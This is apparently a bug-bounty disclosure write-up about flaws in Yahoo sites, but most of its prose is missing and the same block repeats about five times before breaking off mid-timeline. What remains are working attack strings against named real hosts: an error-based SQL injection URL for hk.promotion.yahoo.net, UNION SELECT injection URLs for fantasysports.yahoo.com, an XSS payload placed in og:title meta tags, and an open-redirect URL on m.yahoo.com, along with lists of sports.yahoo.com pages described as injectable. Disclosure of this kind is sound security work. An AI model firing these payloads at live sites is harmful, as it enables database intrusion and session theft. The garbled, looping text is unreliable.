m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
